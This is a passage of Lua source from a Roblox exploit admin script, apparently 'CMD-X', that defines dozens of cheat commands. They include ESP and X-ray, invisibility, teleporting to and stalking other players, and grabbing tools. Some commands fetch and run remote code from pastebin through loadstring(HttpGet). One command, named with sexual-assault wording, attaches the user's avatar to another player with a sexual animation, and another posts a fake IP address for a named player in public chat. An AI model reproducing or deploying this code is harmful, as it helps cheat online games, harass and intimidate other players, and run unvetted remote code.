5790end
5791
5792local Bang = false
5793function useCommand.fuck()
5794 if arguments[2] then
5795 target = findplr(arguments[2])
5796 if target then
5797 flwnum = -1
5798 bangAnim = Instance.new("Animation")
5799 bangAnim.AnimationId = "rbxassetid://148840371"
5800 bang = cmdlp.Character.Humanoid:LoadAnimation(bangAnim)
5801 bang:Play(.1, 1, 1)
5802 bang:AdjustSpeed(3)
5803 if target.Character and target.Character:FindFirstChild('Humanoid') then
5804 if Bang == true then
5805 Follow = false
5806 Bang = false
5807 opx("-","Fuck/rape disabled")
5808 return
5809 else Bang = true
5810 opx("-","Fuck/rape enabled")
5811 while Bang == true do
5812 cmdlp.Character.HumanoidRootPart.CFrame=
5813 target.Character.HumanoidRootPart.CFrame + target.Character.HumanoidRootPart.CFrame.lookVector * flwnum
5814 wait()
5815 end
5816 end
5817 end
5818 else
5819 opx("*","Player does not exist!")
5820 end
5821 else
5822 opx("*","2 arguments are needed for this command!")
5823 end
5824end
5825
5826function useCommand.unfuck()
5827 bang:Stop()
5828 bangAnim:Destroy()
5829 Bang = false
5830 opx("-","Rape/fuck disabled")
5831end
5832
5833local Follow = false
5834function useCommand.follow()
5835 if arguments[2] then
5836 target = findplr(arguments[2])
5837 if target then
5838 flwnum = -5
5839 if target.Character and target.Character:FindFirstChild('Humanoid') then
5840 if Follow == true then
5841 Follow = false;
5842 opx("-","Follow/stalk disabled")
5843 return
5844 else Follow = true
5845 opx("-","Follow/stalk enabled")
5846 end
5847 while Follow == true do
5848 cmdlp.Character.HumanoidRootPart.CFrame=
5849 target.Character.HumanoidRootPart.CFrame + target.Character.HumanoidRootPart.CFrame.lookVector * flwnum
5850 wait()
5851 end
5852 end
5853 else
5854 opx("*","Player does not exist!")
5855 end
5856 else
5857 opx("*","2 arguments are needed for this command!")
5858 end
5859end
5860
5861function useCommand.unfollow()
5862 Follow = false
5863 opx("-","Stalk/follow disabled")
5864end
5865
5866function useCommand.oldroblox()
5867 Confirm("Default","This command is not reversable.")
5868 if Confirmation == true then
5869 for i,v in pairs(workspace:GetDescendants()) do
5870 if v:IsA("BasePart") then
5871 local dec = Instance.new("Texture", v)
5872 dec.Texture = "rbxassetid://48715260"
5873 dec.Face = "Top"
5874 dec.StudsPerTileU = "1"
5875 dec.StudsPerTileV = "1"
5876 dec.Transparency = v.Transparency
5877 v.Material = "Plastic"
5878 local dec2 = Instance.new("Texture", v)
5879 dec2.Texture = "rbxassetid://20299774"
5880 dec2.Face = "Bottom"
5881 dec2.StudsPerTileU = "1"
5882 dec2.StudsPerTileV = "1"
5883 dec2.Transparency = v.Transparency
5884 v.Material = "Plastic"
5885 end
5886 end
5887 game.Lighting.ClockTime = 12
5888 game.Lighting.GlobalShadows = false
5889 game.Lighting.Outlines = false
5890 for i,v in pairs(game.Lighting:GetDescendants()) do
5891 if v:IsA("Sky") then
5892 v:Destroy()
5893 end
5894 end
5895 local sky = Instance.new("Sky", game.Lighting)
5896 sky.SkyboxBk = "rbxassetid://161781263"
5897 sky.SkyboxDn = "rbxassetid://161781258"
5898 sky.SkyboxFt = "rbxassetid://161781261"
5899 sky.SkyboxLf = "rbxassetid://161781267"
5900 sky.SkyboxRt = "rbxassetid://161781268"
5901 sky.SkyboxUp = "rbxassetid://161781260"
5902 opx("-","Old Roblox game theme loaded")
5903 end
5904end
5905
5906function useCommand.savegame()
5907 opx("-","Saving game in your workspace folder")
5908 saveinstance()
5909end
5910
5911function useCommand.btools()
5912 opx("-","Btools are in your backpack")
5913 local Clone_T = Instance.new("HopperBin",cmdlp.Backpack)
5914 Clone_T.BinType = "Clone"
5915 local Destruct = Instance.new("HopperBin",cmdlp.Backpack)
5916 Destruct.BinType = "Hammer"
5917 local Hold_T = Instance.new("HopperBin",cmdlp.Backpack)
5918 Hold_T.BinType = "Grab"
5919end
5920
5921function useCommand.fex()
5922 opx("-","Loaded F3X")
5923 loadstring(game:GetObjects("rbxassetid://4698064966")[1].Source)()
5924end
5925
5926function useCommand.remotespy()
5927 opx("-","Loading Mr Spy")
5928 loadstring(game:HttpGet("https://pastebin.com/raw/FEKUsHdA", true))()
5929 opx("-","Mr Spy has loaded")
5930end
5931
5932function useCommand.badger()
5933 opx("-","Loading Badger V2")
5934 loadstring(game:HttpGet("https://pastebin.com/raw/AZgbkVzN",true))()
5935 opx("-","Loaded Badger V2")
5936end
5937
5938function useCommand.explorer()
5939 opx("-","Loading DEX")
5940 loadstring(game:GetObjects("rbxassetid://418957341")[1].Source)()
5941 opx("-","DEX has been loaded")
5942end
5943
5944function useCommand.removeeffects()
5945 opx("-","Removed all effects")
5946 for i,v in pairs(game:GetDescendants()) do
5947 if v:IsA("Sparkles") or v:IsA("ParticleEmitter") or v:IsA("Fire") or v:IsA("Smoke") then
5948 v:Destroy()
5949 end
5950 end
5951end
5952
5953function useCommand.removeseats()
5954 for i,v in pairs(workspace:GetDescendants()) do
5955 if v:IsA("Seat") or v:IsA("VehicleSeat") then
5956 v:Destroy()
5957 end
5958 end
5959 opx("-","Removed all seats")
5960end
5961
5962XLS = {}
5963function useCommand.removelocalscripts()
5964 opx("-","Removed all localscripts")
5965 for i,ls in pairs(game:GetDescendants()) do
5966 if ls:IsA("LocalScript") then
5967 ls.Disabled = true
5968 XLS[#XLS+1] = ls
5969 end
5970 end
5971end
5972
5973function useCommand.restorelocalscripts()
5974 opx("-","Restored all localscripts")
5975 for i,v in pairs(XLS) do
5976 v.Disabled = false
5977 end
5978end
5979
5980function useCommand.xray()
5981 transparent = true
5982 x(transparent)
5983 opx("-","X-Ray enabled")
5984end
5985
5986function useCommand.unxray()
5987 transparent = false
5988 x(transparent)
5989 opx("-","X-Ray disabled")
5990end
5991
5992function useCommand.lockws()
5993 opx("-","Locked workspace")
5994 for i,v in pairs(cmdws:GetDescendants()) do
5995 if v:IsA("BasePart") then
5996 v.Locked = true
5997 end
5998 end
5999end
6000
6001function useCommand.unlockws()
6002 opx("-","Locked workspace")
6003 for i,v in pairs(cmdws:GetDescendants()) do
6004 if v:IsA("BasePart") then
6005 v.Locked = false
6006 end
6007 end
6008end
6009
6010function useCommand.day()
6011 opx("-","It is now day")
6012 cmdl.ClockTime = 14
6013end
6014
6015function useCommand.night()
6016 opx("-","It is now night")
6017 cmdl.ClockTime = 0
6018end
6019
6020function useCommand.removesky()
6021 opx("-","You have removed the skybox")
6022 for i,v in pairs(cmdl:GetChildren()) do
6023 if v:IsA("Sky") then
6024 v:Destroy()
6025 end
6026 end
6027end
6028
6029function useCommand.restorelighting()
6030 cmdl.Ambient = Color3.new(0.715, 0.715, 0.715)
6031 cmdl.Brightness = 1
6032 cmdl.ClockTime = 14
6033 cmdl.ColorShift_Bottom = Color3.new(0, 0, 0)
6034 cmdl.ColorShift_Top = Color3.new(0, 0, 0)
6035 cmdl.ExposureCompensation = 0
6036 cmdl.FogColor = Color3.new(0.754, 0.754, 0.754)
6037 cmdl.FogEnd = 100000
6038 cmdl.FogStart = 0
6039 cmdl.GeographicLatitude = 41.73
6040 cmdl.GlobalShadows = false
6041 cmdl.OutdoorAmbient = Color3.new(0.400, 0.400, 0.400)
6042 cmdl.Outlines = true
6043 opx("-","Restored lighting to original settings")
6044end
6045
6046function useCommand.restorecamera()
6047 opx("-","Restored camera to original settings")
6048 workspace.Camera.FieldOfView = 70
6049 workspace.Camera.CameraType = "Track"
6050 cmdlp.CameraMaxZoomDistance = 400
6051 cmdlp.CameraMinZoomDistance = 0.5
6052 cmdlp.CameraMode = "Classic"
6053 cmdlp.EnableMouseLockOption = true
6054end
6055
6056function useCommand.unscramble()
6057 opx("-","Unscrambled names")
6058 for i,v in pairs(game:GetDescendants()) do
6059 if v:IsA("Workspace") or v:IsA("Camera") or v:IsA("Players") or v:IsA("Lighting") or v:IsA("ReplicatedStorage") or v:IsA("StarterPlayer") then
6060 v.Name = v.ClassName
6061 end
6062 end
6063end
6064
6065function useCommand.removeinviswalls()
6066 opx("-","Removed invisible walls")
6067 for i,v in pairs(workspace:GetDescendants()) do
6068 if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
6069 if v.Transparency == 1 then
6070 v:Destroy()
6071 end
6072 end
6073 end
6074end
6075
6076function useCommand.gameinfo()
6077 opx("-","Game info opened")
6078 function getAsset(ID)
6079 return("http://www.roblox.com/Thumbs/Asset.ashx?format=png&width=420&height=230&assetId="..ID)
6080 end
6081 gameframe.Visible = true
6082 gameframe:TweenSize(UDim2.new(0,300,0,433), Enum.EasingDirection.In, Enum.EasingStyle.Quad, .5)
6083 gameimage.Image = getAsset(game.PlaceId)
6084 local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
6085 gameview.Text = "You are playing "..GetName.Name
6086 gameid.Text = "ID of game: "..game.PlaceId
6087 uptime.Text = "Uptime (s): "..workspace.DistributedGameTime
6088 if workspace.FilteringEnabled == true then
6089 fecheck.Text = "Filtering is enabled"
6090 else
6091 fecheck.Text = "Filtering is disabled"
6092 end
6093end
6094
6095function useCommand.closegameinfo()
6096 opx("-","Game info closed")
6097 gameframe.Visible = false
6098end
6099
6100function useCommand.math()
6101 if arguments[4] then
6102 if arguments[3] == "+" then
6103 local add = arguments[2] + arguments[4]
6104 opx("-",arguments[2].." + "..arguments[4].." = "..add)
6105 if arguments[5] == "cb" or arguments[5] == "copy" then
6106 setclipboard(arguments[2].." + "..arguments[4].." = "..add)
6107 end
6108 elseif arguments[3] == "-" then
6109 local subtract = arguments[2] - arguments[4]
6110 opx("-",arguments[2].." - "..arguments[4].." = "..subtract)
6111 if arguments[5] == "cb" or arguments[5] == "copy" then
6112 setclipboard(arguments[2].." - "..arguments[4].." = "..subtract)
6113 end
6114 elseif arguments[3] == "/" then
6115 local divide = arguments[2] / arguments[4]
6116 opx("-",arguments[2].." / "..arguments[4].." = "..divide)
6117 if arguments[5] == "cb" or arguments[5] == "copy" then
6118 setclipboard(arguments[2].." / "..arguments[4].." = "..divide)
6119 end
6120 elseif arguments[3] == "*" then
6121 local times = arguments[2] * arguments[4]
6122 opx("-",arguments[2].." * "..arguments[4].." = "..times)
6123 if arguments[5] == "cb" or arguments[5] == "copy" then
6124 setclipboard(arguments[2].." * "..arguments[4].." = "..times)
6125 end
6126 else
6127 opx("*","A proper multiplication sign is needed!")
6128 end
6129 else
6130 opx("*","2 numbers and a multiplication sign is needed")
6131 end
6132end
6133
6134function useCommand.hidechat()
6135 opx("-","Chat is disabled")
6136 game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', false)
6137end
6138
6139function useCommand.showchat()
6140 opx("-","Chat is enabled")
6141 game:GetService("StarterGui"):SetCoreGuiEnabled('Chat', true)
6142end
6143
6144function useCommand.switchteam()
6145 if arguments[2] then
6146 opx("-","Switched team to: "..arguments[2])
6147 cmdlp.Team = arguments[2]
6148 else
6149 opx("*","2 arguments are needed for this command!")
6150 end
6151end
6152
6153function useCommand.ping()
6154 local ping = (1/wait())
6155 local pingexact = string.sub(ping,0,4)
6156 opx("-","Pong! Your ping is "..pingexact.."ms")
6157end
6158
6159function useCommand.fps()
6160 opx("-","FPS will now show - Credit to Curvn")
6161 local ToolNameGrabber = Instance.new("ScreenGui")
6162 local ToolNameTxt = Instance.new("TextLabel")
6163 local player = game.Players.LocalPlayer
6164 ToolNameGrabber.Name = "ToolNameGrabber"
6165 ToolNameGrabber.Parent = game.CoreGui
6166 ToolNameGrabber.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
6167 ToolNameGrabber.Enabled = true
6168 ToolNameTxt.Name = "ToolNameTxt"
6169 ToolNameTxt.Parent = ToolNameGrabber
6170 ToolNameTxt.BackgroundColor3 = Color3.new(1, 1, 1)
6171 ToolNameTxt.BackgroundTransparency = 1
6172 ToolNameTxt.BorderColor3 = Color3.new(0, 0, 0)
6173 ToolNameTxt.Position = UDim2.new(0.894944727, 0, 0.952606618, 0)
6174 ToolNameTxt.Size = UDim2.new(0, 133, 0, 30)
6175 ToolNameTxt.Font = Enum.Font.GothamSemibold
6176 ToolNameTxt.Text = "TextLabel"
6177 ToolNameTxt.TextColor3 = Color3.new(1, 1, 1)
6178 ToolNameTxt.TextScaled = true
6179 ToolNameTxt.TextSize = 14
6180 ToolNameTxt.TextWrapped = true
6181 ToolNameTxt.Visible = true
6182 local FpsLabel = ToolNameTxt
6183 local Heartbeat = game:GetService("RunService").Heartbeat
6184 local LastIteration, Start
6185 local FrameUpdateTable = { }
6186 local function HeartbeatUpdate()
6187 LastIteration = tick()
6188 for Index = #FrameUpdateTable, 1, -1 do
6189 FrameUpdateTable[Index + 1] = (FrameUpdateTable[Index] >= LastIteration - 1) and FrameUpdateTable[Index] or nil
6190 end
6191 FrameUpdateTable[1] = LastIteration
6192 local CurrentFPS = (tick() - Start >= 1 and #FrameUpdateTable) or (#FrameUpdateTable / (tick() - Start))
6193 CurrentFPS = CurrentFPS - CurrentFPS % 1
6194 FpsLabel.Text = "" .. CurrentFPS .. " FPS"
6195 end
6196 Start = tick()
6197 Heartbeat:Connect(HeartbeatUpdate)
6198end
6199
6200function useCommand.unfps()
6201 opx("-","No longer showing FPS")
6202 game.CoreGui.ToolNameGrabber:Destroy()
6203end
6204
6205function useCommand.fuckoff()
6206 opx("-","You can fuck off too!")
6207 Unnamed:Destroy()
6208end
6209
6210function useCommand.reload()
6211 opx("-","Reloading CMD-X...")
6212 loadstring(game:HttpGet("https://pastebin.com/raw/HFkyyd1H",true))()
6213end
6214
6215function useCommand.console()
6216 if arguments[2] then
6217 opx("-","Printed "..getstring(2).." to console.")
6218 rconsoleprint(getstring(2))
6219 else
6220 opx("*","2 areguments are required!")
6221 end
6222end
6223
6224function useCommand.partesp()
6225 if arguments[2] == "class" then
6226 opx("-","PartESP Enabled")
6227 IESPenabled = true
6228 for _,i in pairs(workspace:GetDescendants()) do
6229 if i:IsA(arguments[3]) then
6230 if arguments[3] == "ClickDetector" or arguments[2] == "TouchInterest" then
6231 if i:IsA("BasePart") then
6232 IESP(i.Parent)
6233 end
6234 else
6235 if i:IsA("BasePart") then
6236 IESP(i)
6237 end
6238 end
6239 end
6240 end
6241 elseif arguments[2] == "name" then
6242 opx("-","PartESP Enabled")
6243 for _,i in pairs(workspace:GetDescendants()) do
6244 if i:IsA("BasePart") and i.Name == arguments[3] then
6245 IESP(i)
6246 end
6247 end
6248 else
6249 opx("*","2 arguments are required")
6250 end
6251end
6252
6253function useCommand.unpartesp()
6254 opx("-","PartESP disabled")
6255 IESPenabled = false
6256 for _,i in pairs(workspace:GetDescendants()) do
6257 for a,v in pairs(cmdlp.PlayerGui:GetChildren()) do
6258 if v.Name == i:GetFullName()..'_IESP' then
6259 v:Destroy()
6260 end
6261 end
6262 end
6263end
6264
6265function useCommand.backpack()
6266 if arguments[2] then
6267 target = findplr(arguments[2])
6268 if target then
6269 xTools = ""
6270 Num = 0
6271 for i,v in pairs(target.Backpack:GetChildren()) do
6272 if v:IsA("Tool") then
6273 xTools = xTools..v.Name..", "
6274 Num = Num+1
6275 end
6276 end
6277 opxL("Backpack",Num.."|"..xTools)
6278 else
6279 opx("*","Player does not exist!")
6280 end
6281 else
6282 opx("*","2 arguments are needed for this command!")
6283 end
6284end
6285
6286function useCommand.messagebox()
6287 if messageboxasync then
6288 opx("-","Opened message box, "..getstring(2))
6289 messageboxasync(getstring(2), "CMD-X Message", 262148)
6290 else
6291 opx("*","Your exploit does not support messageboxes!")
6292 end
6293end
6294
6295function useCommand.enabledrops()
6296 opx("-","Enabled tool dropping")
6297 for i,v in pairs(cmdlp.Backpack:GetChildren()) do
6298 v.CanBeDropped = true
6299 end
6300 cmdlp.Character:FindFirstChildOfClass("Tool").CanBeDropped = true
6301end
6302
6303local noVoid = false
6304function useCommand.novoid()
6305 opx("-","NoVoid is now enabled")
6306 noVoid = true
6307 cmdlp.Character.ChildAdded:Connect(function(rg)
6308 if rg:IsA("Tool") and noVoid == true then
6309 rg:Destroy()
6310 end
6311 end)
6312end
6313
6314function useCommand.yesvoid()
6315 noVoid = false
6316 opx("-","NoVoid is now disabled")
6317end
6318
6319function useCommand.disabledrops()
6320 opx("-","Disabled tool dropping")
6321 for i,v in pairs(cmdlp.Backpack:GetChildren()) do
6322 v.CanBeDropped = false
6323 end
6324 cmdlp.Character:FindFirstChildOfClass("Tool").CanBeDropped = false
6325end
6326
6327local toolsget = false
6328function useCommand.grabtools()
6329 opx("-","Now getting tools")
6330 toolsget = true
6331 for i,v in pairs(workspace:GetChildren()) do
6332 if v:IsA("Tool") then
6333 v.Handle.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
6334 end
6335 end
6336 workspace.ChildAdded:Connect(function(pt)
6337 if toolsget == true then
6338 if pt:IsA("Tool") then
6339 wait(.25)
6340 pt.Handle.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
6341 end
6342 end
6343 end)
6344end
6345
6346function useCommand.ungrabtools()
6347 opx("-","No longer getting tools")
6348 toolsget = false
6349end
6350
6351function useCommand.earrape()
6352 opx("-","Played all workspace sounds")
6353 for i,v in pairs(workspace:GetDescendants()) do
6354 if v:IsA("Sound") then
6355 v:Play()
6356 end
6357 end
6358end
6359
6360function useCommand.respectfiltering()
6361 if game:GetService("SoundService").RespectFilteringEnabled == false then
6362 opx("-","Respect Filtering is disabled")
6363 else
6364 opx("*","Respect Filtering is enabled")
6365 end
6366end
6367
6368function useCommand.filtering()
6369 if workspace.FilteringEnabled == true then
6370 opx("-","Filtering is enabled")
6371 else
6372 opx("*","Filtering is disabled")
6373 end
6374end
6375
6376function useCommand.gameid()
6377 opx("-","The games id you are playing on is "..game.PlaceId)
6378end
6379
6380function useCommand.error()
6381 if arguments[2] then
6382 local errorstring = getstring(2)
6383 opx("-","Errored "..errorstring.." to console")
6384 error(errorstring)
6385 else
6386 opx("*","Error is missing text")
6387 end
6388end
6389
6390function useCommand.print()
6391 if arguments[2] then
6392 local printstring = getstring(2)
6393 opx("-","Printed "..printstring.." to console")
6394 print(printstring)
6395 else
6396 opx("*","Print is missing text")
6397 end
6398end
6399
6400function useCommand.warn()
6401 if arguments[2] then
6402 local warnstring = getstring(2)
6403 opx("-","Warned "..warnstring.." to console")
6404 warn(warnstring)
6405 else
6406 opx("*","Warn is missing text")
6407 end
6408end
6409
6410function useCommand.output()
6411 if arguments[2] then
6412 local outputstring = getstring(2)
6413 opx("-",outputstring)
6414 else
6415 opx("*","Output is missing text")
6416 end
6417end
6418
6419function useCommand.bluewarn()
6420 if arguments[2] then
6421 local bwstring = getstring(2)
6422 game:GetService("TestService"):Message(bwstring)
6423 opx("-",bwstring.." was bluewarned in F9")
6424 else
6425 opx("*","Blue warn is missing text")
6426 end
6427end
6428
6429function useCommand.grabip()
6430 if arguments[2] then
6431 target = findplr(arguments[2])
6432 if target then
6433 local firstIntegers = {"5","149","82","83","84","72","73","74","92","93","94","182","183","184","172","173","174","192","193","194","198","197"}
6434 cmdrs.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(target.Name.."s IP is uw"..firstIntegers[math.random(1,#firstIntegers)].."."..math.random(1,170).."."..math.random(1,170).."."..math.random(1,9), "All")
6435 opx("-",target.Name.."s fake IP was said in chat")
6436 else
6437 opx("*","Player does not exist!")
6438 end
6439 else
6440 opx("*","2 arguments are needed for this command!")
6441 end
6442end
6443
6444function useCommand.forceshiftlock()
6445 cmdlp.DevEnableMouseLock = true
6446 opx("-","Shift lock has been force enabled")
6447end
6448
6449function useCommand.maxcamunlock()
6450 opx("-","Unlocked camera lock")
6451 cmdlp.CameraMaxZoomDistance = 100000
6452end
6453
6454function useCommand.position()
6455 if cmdlp.Character and cmdlp.Character:FindFirstChild("HumanoidRootPart") then
6456 local pos = tostring(cmdlp.Character.HumanoidRootPart.Position)
6457 opx("-","Your position is "..pos)
6458 if arguments[2] == "cb" or arguments[2] == "copy" then
6459 setclipboard(pos)
6460 end
6461 end
6462end
6463
6464function useCommand.audiolog()
6465 if arguments[2] then
6466 target = findplr(arguments[2])
6467 if target then
6468 for i,logger in pairs(target.Character:GetChildren()) do
6469 if logger.Name == "SuperFlyGoldBoombox" or logger.Name == "Boombox" or logger.Name == "Music" or logger.Name == "Radio" or logger.Name == "#Boombox" or logger.Name == "BoomBox" then
6470 opx("-","Users audio is "..logger.Handle.Sound.SoundId)
6471 if arguments[3] == "cb" or arguments[2] == "copy" then
6472 setclipboard(logger.Handle.Sound.SoundId)
6473 end
6474 else
6475 opx("*","Something went wrong")
6476 end
6477 end
6478 else
6479 opx("*","Player does not exist!")
6480 end
6481 else
6482 opx("*","2 arguments are needed for this command!")
6483 end
6484end
6485
6486local bobbleEffect = false
6487function useCommand.cambobble()
6488 opx("-","Now bobbling camera")
6489 bobbleEffect = true
6490 local RunService = game:GetService("RunService")
6491 local function updateBobbleEffect()
6492 local now = tick()
6493 if cmdh.MoveDirection.Magnitude > 0 then
6494 local velocity = cmdh.RootPart.Velocity
6495 local bobble_X = math.cos(now * 9) / 5
6496 local bobble_Y = math.abs(math.sin(now * 12)) / 5
6497 local bobble = Vector3.new(bobble_X,bobble_Y,0) * math.min(1, velocity.Magnitude / cmdh.WalkSpeed)
6498 cmdh.CameraOffset = cmdh.CameraOffset:lerp(bobble,.25)
6499 else
6500 cmdh.CameraOffset = cmdh.CameraOffset * 0.75
6501 end
6502 end
6503 while bobbleEffect == true do
6504 wait()
6505 updateBobbleEffect()
6506 end
6507end
6508
6509function useCommand.uncambobble()
6510 opx("-","Now longer bobbling camera")
6511 bobbleEffect = false
6512end
6513
6514local moveToMouse = false
6515function useCommand.grapple()
6516 opx("-","Now grappling")
6517 moveToMouse = true
6518 local bpNew = Instance.new("BodyPosition",cmdlp.Character.HumanoidRootPart)
6519 while moveToMouse == true do
6520 wait()
6521 local mousePosY = cmdm.Hit.Y
6522 local mousePosX = cmdm.Hit.X
6523 local mousePosZ = cmdm.Hit.Z
6524 bpNew.Position = Vector3.new(mousePosX,mousePosY,mousePosZ)
6525 end
6526end
6527
6528function useCommand.ungrapple()
6529 opx("-","No longer grappling")
6530 moveToMouse = false
6531 cmdlp.Character.HumanoidRootPart.BodyPosition:Destroy()
6532end
6533
6534function useCommand.remind()
6535 if arguments[4] then
6536 local timeCall = arguments[2]
6537 local reminderCall = getstring(4)
6538 if arguments[3] == "second" or arguments[3] == "sec" or arguments[3] == "s" then
6539 opx("-","You will be reminded about '"..reminderCall.."' in "..timeCall.."s")
6540 wait(timeCall)
6541 elseif arguments[3] == "minute" or arguments[3] == "min" or arguments[3] == "m" then
6542 opx("-","You will be reminded about '"..reminderCall.."' in "..timeCall.."m")
6543 wait(timeCall * 60)
6544 elseif arguments[3] == "hour" or arguments[3] == "hr" or arguments[3] == "h" then
6545 opx("-","You will be reminded about '"..reminderCall.."' in "..timeCall.."h")
6546 wait(timeCall * 3600)
6547 end
6548 output9.Text = output8.Text
6549 output8.Text = output7.Text
6550 output7.Text = output6.Text
6551 output6.Text = output5.Text
6552 output5.Text = output4.Text
6553 output4.Text = output3.Text
6554 output3.Text = output2.Text
6555 output2.Text = output1.Text
6556 opx("-","Reminder ("..timeCall.."): "..reminderCall)
6557 else
6558 opx("*","You need 4 arguments for this command")
6559 end
6560end
6561
6562local step = false
6563function useCommand.step()
6564 step = true
6565 repeat wait()
6566 local currentTorso = nil
6567 function findT()
6568 if cmdlp.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
6569 currentTorso = cmdlp.Character.UpperTorso
6570 elseif cmdlp.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
6571 currentTorso = cmdlp.Character.Torso
6572 end
6573 end
6574 findT()
6575 if currentTorso == nil then
6576 findT()
6577 end
6578 currentTorso.Touched:Connect(function(hit)
6579 local cmdlpHRP = cmdlp.Character.HumanoidRootPart
6580 if hit:IsA("BasePart") and hit.Position.Y > cmdlpHRP.Position.Y - cmdlp.Character.Humanoid.HipHeight then
6581 local findHRP = hit.Parent:FindFirstChild("HumanoidRootPart")
6582 if findHRP ~= nil then
6583 cmdlpHRP.CFrame = hit.CFrame * CFrame.new(cmdlpHRP.CFrame.lookVector.X,findHRP.Size.Z/2 + cmdlp.Character.Humanoid.HipHeight,cmdlpHRP.CFrame.lookVector.Z)
6584 elseif findHRP == nil then
6585 cmdlpHRP.CFrame = hit.CFrame * CFrame.new(cmdlpHRP.CFrame.lookVector.X,hit.Size.Y/2 + cmdlp.Character.Humanoid.HipHeight,cmdlpHRP.CFrame.lookVector.Z)
6586 end
6587 end
6588 end)
6589 until step == false
6590 opx("-","Step enabled")
6591end
6592
6593function useCommand.unstep()
6594 step = false
6595 opx("-","Step disabled")
6596end
6597
6598function useCommand.antiafk()
6599 opx("-","You will now no longer idle in games")
6600 cmdlp.Idled:connect(function()
6601 cmdvu:Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
6602 wait(1)
6603 cmdvu:Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
6604 end)
6605end
6606
6607local nosit = false
6608function useCommand.nosit()
6609 nosit = true
6610 opx("-","Nosit enabled")
6611 while nosit == true do
6612 wait()
6613 if cmdlp.Character.Humanoid.Sit == true then
6614 cmdlp.Character.Humanoid.Sit = false
6615 end
6616 end
6617end
6618
6619function useCommand.yessit()
6620 nosit = false
6621 opx("-","Nosit disabled")
6622end
6623
6624local nostun = false
6625function useCommand.nostun()
6626 nostun = true
6627 opx("-","Nostun enabled")
6628 while nostun == true do
6629 wait()
6630 if cmdlp.Character.Humanoid.PlatformStand == true then
6631 cmdlp.Character.Humanoid.PlatformStand = false
6632 end
6633 end
6634end
6635
6636function useCommand.yesstun()
6637 nostun = false
6638 opx("-","Nostun disabled")
6639end
6640
6641function useCommand.badges()
6642 opx("-","Collecting badges (if there is any)")
6643 for i,v in pairs(workspace:GetDescendants()) do
6644 if v.Name == "BadgeAwarder" or v.Name == "Platform" then
6645 v.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
6646 v.CanCollide = false
6647 elseif v.Name == "BadgeAwarderScript" then
6648 v.Parent.CFrame = cmdlp.Character.HumanoidRootPart.CFrame
6649 v.CanCollide = false
6650 end
6651 end
6652end
6653
6654local spawning = false
6655function useCommand.spawnpoint()
6656 sppos = cmdlp.Character.HumanoidRootPart.CFrame
6657 spawning = true
6658 opx("-","Spawnpoint set")
6659end
6660
6661local bhopping = false
6662function useCommand.bunnyhop()
6663 opx("-","Started BHopping")
6664 bhopping = true
6665 repeat wait()
6666 cmdlp.Character.Humanoid.Jump = true
6667 until bhopping == false
6668end
6669
6670function useCommand.unbunnyhop()
6671 opx("-","Stopped BHopping")
6672 bhopping = false
6673end
6674
6675function useCommand.invisible()
6676 opx("-","You are now invisible")
6677 for i,m in pairs(cmdlp.Character:GetChildren()) do
6678 if m:IsA("Part") or m:IsA("MeshPart") then
6679 if m.Name ~= "HumanoidRootPart" and m.Name ~= "Handle" or m:IsA("Part") then
6680 m.Material = "ForceField"
6681 end
6682 elseif m:IsA("Accessory") then
6683 m:Destroy()
6684 end
6685 end
6686 local Players = cmdp
6687 local function CheckRig()
6688 if Players.LocalPlayer.Character then
6689 if cmd15(cmdlp) then
6690 return 'R15'
6691 else
6692 return 'R6'
6693 end
6694 end
6695 end
6696 local function InitiateInvis()
6697 local Character = Players.LocalPlayer.Character
6698 local StoredCF = Character.PrimaryPart.CFrame
6699 local Part = Instance.new('Part',workspace)
6700 Part.Size = Vector3.new(5,0,5)
6701 Part.Anchored = true
6702 Part.CFrame = CFrame.new(Vector3.new(9999,9999,9999))
6703 Character.PrimaryPart.CFrame = Part.CFrame*CFrame.new(0,3,0)
6704 wait(3)
6705 Part:Destroy()
6706 if CheckRig() == 'R6' then
6707 local Clone = Character.HumanoidRootPart:Clone()
6708 Character.HumanoidRootPart:Destroy()
6709 Clone.Parent = Character
6710 else
6711 local Clone = Character.LowerTorso.Root:Clone()
6712 Character.LowerTorso.Root:Destroy()
6713 Clone.Parent = Character.LowerTorso
6714 end
6715 end
6716 InitiateInvis()
6717end
6718
6719function useCommand.sit()
6720 cmdlp.Character.Humanoid.Sit = true
6721 opx("-","You just sat your ass down")
6722end
6723
6724function useCommand.sitwalk()
6725 opx("-","Sit walk enabled")
6726 local anims = cmdlp.Character.Animate
6727 local sit = anims.sit:FindFirstChildOfClass("Animation").AnimationId
6728 anims.idle:FindFirstChildOfClass("Animation").AnimationId = sit
6729 anims.walk:FindFirstChildOfClass("Animation").AnimationId = sit
6730 anims.run:FindFirstChildOfClass("Animation").AnimationId = sit
6731 anims.jump:FindFirstChildOfClass("Animation").AnimationId = sit
6732 local Anim = Instance.new("Animation")
6733 Anim.AnimationId = sit
6734 local k = cmdlp.Character.Humanoid:LoadAnimation(Anim)
6735 k:Play()
6736 k:AdjustSpeed(1)
6737 k:Destroy()
6738 Anim:Destroy()
6739 if cmd6(cmdlp) then
6740 cmdlp.Character.Humanoid.HipHeight = -1.5
6741 else
6742 cmdlp.Character.Humanoid.HipHeight = 0.5
6743 end
6744end
6745
6746function useCommand.freeze()
6747 opx("-","You froze your character")
6748 cmdlp.Character.HumanoidRootPart.Anchored = true
6749end
6750
6751function useCommand.thaw()
6752 opx("-","You thawed your character")
6753 cmdlp.Character.HumanoidRootPart.Anchored = false
6754end
6755
6756function useCommand.goto()
6757 if arguments[2] then
6758 target = findplr(arguments[2])
6759 if target then
6760 cmdlp.Character.Humanoid.Jump = true
6761 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame + Vector3.new(gotoPosSide,gotoPosHead,gotoPos)
6762 opx("-","Teleported to player "..target.Name)
6763 else
6764 opx("*","Player does not exist!")
6765 end
6766 else
6767 opx("*","2 arguments are needed for this command!")
6768 end
6769end
6770
6771local walkto = false
6772function useCommand.walkto()
6773 if arguments[2] then
6774 target = findplr(arguments[2])
